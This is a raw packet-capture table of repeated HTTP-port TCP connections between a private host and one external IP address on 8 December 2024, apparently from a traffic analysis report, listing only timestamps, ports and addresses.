Dec 8, 2024 15:27:53.996004105 CET	80	49767	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:53.996098042 CET	49767	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:53.996576071 CET	49767	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:54.116329908 CET	80	49767	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:54.384280920 CET	49767	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:54.503727913 CET	80	49767	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:54.503739119 CET	80	49767	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:54.503746986 CET	80	49767	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:55.315921068 CET	80	49767	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:55.372510910 CET	49767	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:55.548507929 CET	80	49767	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:55.591269016 CET	49767	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:55.666476011 CET	49767	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:55.666712046 CET	49770	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:55.785999060 CET	80	49770	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:55.786247969 CET	80	49767	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:55.786345005 CET	49767	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:55.786375999 CET	49770	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:55.786500931 CET	49770	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:55.906646967 CET	80	49770	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:56.138292074 CET	49770	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:56.257844925 CET	80	49770	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:56.257857084 CET	80	49770	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:56.309073925 CET	80	49770	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:57.123464108 CET	80	49770	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:57.169379950 CET	49770	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:57.239748955 CET	49771	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:57.241097927 CET	49770	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:57.356297970 CET	80	49770	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:57.356354952 CET	49770	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:57.359039068 CET	80	49771	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:57.359102011 CET	49771	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:57.359291077 CET	49771	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:57.360697985 CET	80	49770	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:57.360743046 CET	49770	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:57.401662111 CET	49772	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:57.483434916 CET	80	49771	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:57.522284985 CET	80	49772	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:57.522350073 CET	49772	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:57.522468090 CET	49772	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:57.642790079 CET	80	49772	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:57.716389894 CET	49771	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:57.836477995 CET	80	49771	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:57.836816072 CET	80	49771	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:57.872934103 CET	49772	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:58.040585995 CET	80	49772	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:58.040597916 CET	80	49772	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:58.040770054 CET	80	49772	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:58.612056971 CET	80	49766	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:58.612224102 CET	49766	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:58.689357996 CET	80	49771	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:58.731905937 CET	49771	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:58.853537083 CET	80	49772	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:58.903991938 CET	49772	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:58.924663067 CET	80	49771	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:58.970379114 CET	49771	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:59.088303089 CET	80	49772	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:59.138144016 CET	49772	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:59.207936049 CET	49766	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:59.212227106 CET	49772	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:59.212232113 CET	49771	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:59.212537050 CET	49778	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:59.331799030 CET	80	49778	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:59.331872940 CET	49778	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:59.331902027 CET	80	49772	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:59.331954002 CET	49772	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:59.332180977 CET	49778	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:59.332331896 CET	80	49771	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:59.332375050 CET	49771	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:59.451709032 CET	80	49778	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:59.685121059 CET	49778	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:27:59.807056904 CET	80	49778	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:59.807101965 CET	80	49778	185.246.67.73	192.168.2.4
Dec 8, 2024 15:27:59.807147026 CET	80	49778	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:00.660453081 CET	80	49778	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:00.700690031 CET	49778	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:00.896447897 CET	80	49778	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:00.950664997 CET	49778	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:01.008322954 CET	49784	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:01.127952099 CET	80	49784	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:01.130337954 CET	49784	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:01.130518913 CET	49784	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:01.250340939 CET	80	49784	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:01.482070923 CET	49784	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:01.601545095 CET	80	49784	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:01.601556063 CET	80	49784	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:01.601558924 CET	80	49784	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:02.461975098 CET	80	49784	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:02.513138056 CET	49784	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:02.700519085 CET	80	49784	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:02.747572899 CET	49784	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:02.821145058 CET	49784	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:02.821331978 CET	49790	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:02.940793037 CET	80	49790	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:02.940865993 CET	49790	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:02.940985918 CET	49790	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:02.940994024 CET	80	49784	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:02.941042900 CET	49784	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:03.060260057 CET	80	49790	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:03.294548988 CET	49790	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:03.414413929 CET	80	49790	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:03.414460897 CET	80	49790	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:03.414470911 CET	80	49790	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:03.950583935 CET	49791	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:03.951455116 CET	49790	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:04.069993019 CET	80	49791	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:04.070074081 CET	49791	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:04.071347952 CET	80	49790	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:04.071397066 CET	49790	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:04.077606916 CET	49791	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:04.197082996 CET	80	49791	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:04.261445045 CET	49778	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:04.262244940 CET	49792	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:04.385122061 CET	80	49792	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:04.385185957 CET	49792	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:04.385284901 CET	49792	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:04.435139894 CET	49791	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:04.506472111 CET	80	49792	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:04.569255114 CET	80	49791	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:04.569375038 CET	80	49791	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:04.732068062 CET	49792	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:04.853152037 CET	80	49792	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:04.853174925 CET	80	49792	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:04.853183985 CET	80	49792	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:05.398590088 CET	80	49791	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:05.450687885 CET	49791	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:05.636485100 CET	80	49791	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:05.685028076 CET	49791	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:05.749109983 CET	80	49792	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:05.794426918 CET	49792	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:05.984385014 CET	80	49792	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:06.028803110 CET	49792	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:06.101911068 CET	49791	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:06.101927996 CET	49792	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:06.102214098 CET	49798	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:06.221499920 CET	80	49798	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:06.221616983 CET	49798	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:06.221731901 CET	80	49791	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:06.221746922 CET	49798	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:06.221781969 CET	49791	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:06.222282887 CET	80	49792	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:06.222332954 CET	49792	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:06.341120958 CET	80	49798	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:06.575860977 CET	49798	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:06.720575094 CET	80	49798	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:06.720586061 CET	80	49798	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:06.720596075 CET	80	49798	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:07.590177059 CET	80	49798	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:07.638156891 CET	49798	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:07.824384928 CET	80	49798	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:07.872526884 CET	49798	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:07.946875095 CET	49804	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:08.069787979 CET	80	49804	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:08.074378967 CET	49804	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:08.074579000 CET	49804	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:08.194020987 CET	80	49804	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:08.419606924 CET	49804	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:08.542201042 CET	80	49804	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:08.542224884 CET	80	49804	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:08.542238951 CET	80	49804	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:09.395766020 CET	80	49804	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:09.450689077 CET	49804	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:09.632359982 CET	80	49804	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:09.685051918 CET	49804	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:09.759011030 CET	49804	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:09.759202957 CET	49810	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:09.878477097 CET	80	49810	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:09.878542900 CET	49810	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:09.878664017 CET	49810	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:09.878709078 CET	80	49804	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:09.878758907 CET	49804	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:09.998367071 CET	80	49810	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:10.232054949 CET	49810	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:10.351527929 CET	80	49810	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:10.351572037 CET	80	49810	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:10.351660013 CET	80	49810	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:10.638981104 CET	49810	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:10.638983965 CET	49811	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:10.757500887 CET	49798	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:10.758619070 CET	80	49811	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:10.758706093 CET	49811	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:10.758836985 CET	49811	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:10.759490013 CET	49812	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:10.800641060 CET	80	49810	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:10.879547119 CET	80	49811	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:10.880474091 CET	80	49812	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:10.880520105 CET	49812	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:10.880629063 CET	49812	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:10.891927958 CET	80	49810	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:10.891999960 CET	49810	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:11.000087023 CET	80	49812	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:11.107023001 CET	49811	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:11.230386972 CET	80	49811	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:11.230448008 CET	80	49811	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:11.232026100 CET	49812	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:11.351594925 CET	80	49812	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:11.351681948 CET	80	49812	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:11.351691961 CET	80	49812	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:12.098699093 CET	80	49811	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:12.138209105 CET	49811	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:12.200032949 CET	80	49812	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:12.247545958 CET	49812	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:12.332377911 CET	80	49811	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:12.372616053 CET	49811	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:12.432145119 CET	80	49812	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:12.481946945 CET	49812	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:12.555484056 CET	49811	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:12.555485010 CET	49812	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:12.555805922 CET	49818	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:12.675183058 CET	80	49818	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:12.675230026 CET	80	49811	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:12.675407887 CET	49811	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:12.675410032 CET	49818	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:12.675534964 CET	49818	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:12.675884962 CET	80	49812	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:12.678369045 CET	49812	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:12.794934988 CET	80	49818	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:13.028896093 CET	49818	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:13.148771048 CET	80	49818	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:13.148809910 CET	80	49818	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:13.148824930 CET	80	49818	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:14.013664007 CET	80	49818	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:14.060076952 CET	49818	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:14.248296022 CET	80	49818	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:14.294531107 CET	49818	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:14.369168043 CET	49824	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:14.490175009 CET	80	49824	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:14.490294933 CET	49824	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:14.490434885 CET	49824	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:14.610342979 CET	80	49824	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:14.842083931 CET	49824	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:14.961452961 CET	80	49824	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:14.961519003 CET	80	49824	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:14.961544037 CET	80	49824	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:15.827668905 CET	80	49824	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:15.872612000 CET	49824	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:16.060230970 CET	80	49824	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:16.106952906 CET	49824	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:16.179985046 CET	49824	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:16.180166960 CET	49830	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:16.299465895 CET	80	49830	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:16.299685001 CET	80	49824	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:16.299777031 CET	49824	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:16.299787998 CET	49830	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:16.299949884 CET	49830	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:16.422625065 CET	80	49830	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:16.654006958 CET	49830	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:16.774172068 CET	80	49830	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:16.774569988 CET	80	49830	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:16.774601936 CET	80	49830	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:17.342241049 CET	49833	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:17.342464924 CET	49830	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:17.464817047 CET	80	49833	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:17.464927912 CET	49833	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:17.465262890 CET	80	49830	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:17.465312004 CET	49830	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:17.478996038 CET	49833	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:17.532598972 CET	49818	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:17.539814949 CET	49837	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:17.598347902 CET	80	49833	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:17.659307957 CET	80	49837	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:17.659425020 CET	49837	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:17.698935032 CET	49837	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:17.819032907 CET	80	49837	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:17.915318012 CET	49833	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:18.036164045 CET	80	49833	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:18.036237001 CET	80	49833	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:18.044586897 CET	49837	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:18.166896105 CET	80	49837	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:18.166906118 CET	80	49837	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:18.166920900 CET	80	49837	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:18.795914888 CET	80	49833	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:18.841368914 CET	49833	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:19.028336048 CET	80	49833	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:19.037163973 CET	80	49837	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:19.075722933 CET	49833	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:19.091332912 CET	49837	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:19.268606901 CET	80	49837	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:19.325712919 CET	49837	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:19.382812023 CET	49837	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:19.382811069 CET	49833	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:19.383153915 CET	49838	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:19.502525091 CET	80	49838	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:19.502551079 CET	80	49837	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:19.502626896 CET	49837	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:19.502793074 CET	49838	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:19.502793074 CET	49838	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:19.503366947 CET	80	49833	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:19.506362915 CET	49833	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:19.622780085 CET	80	49838	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:19.857165098 CET	49838	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:19.978355885 CET	80	49838	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:19.978395939 CET	80	49838	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:19.978529930 CET	80	49838	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:20.866543055 CET	80	49838	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:20.919466972 CET	49838	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:21.100059032 CET	80	49838	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:21.153819084 CET	49838	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:21.213378906 CET	49844	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:21.340321064 CET	80	49844	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:21.340435028 CET	49844	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:21.340581894 CET	49844	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:21.459839106 CET	80	49844	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:21.685225010 CET	49844	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:21.804713011 CET	80	49844	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:21.804723978 CET	80	49844	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:21.804738045 CET	80	49844	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:22.673475981 CET	80	49844	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:22.731976032 CET	49844	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:22.908338070 CET	80	49844	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:22.950732946 CET	49844	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:23.038450003 CET	49850	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:23.038572073 CET	49844	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:23.157890081 CET	80	49850	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:23.158246040 CET	80	49844	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:23.158330917 CET	49844	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:23.158510923 CET	49850	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:23.158510923 CET	49850	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:23.277826071 CET	80	49850	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:23.513469934 CET	49850	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:23.633344889 CET	80	49850	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:23.633498907 CET	80	49850	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:23.633507967 CET	80	49850	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:24.046144962 CET	49838	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:24.046462059 CET	49856	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:24.046677113 CET	49850	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:24.165669918 CET	80	49856	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:24.165750027 CET	49856	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:24.165904045 CET	49856	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:24.167509079 CET	80	49850	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:24.167576075 CET	49850	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:24.168226957 CET	49857	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:24.285142899 CET	80	49856	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:24.287503004 CET	80	49857	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:24.287570000 CET	49857	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:24.287689924 CET	49857	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:24.407938957 CET	80	49857	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:24.513361931 CET	49856	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:24.632921934 CET	80	49856	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:24.632949114 CET	80	49856	185.246.67.73	192.168.2.4
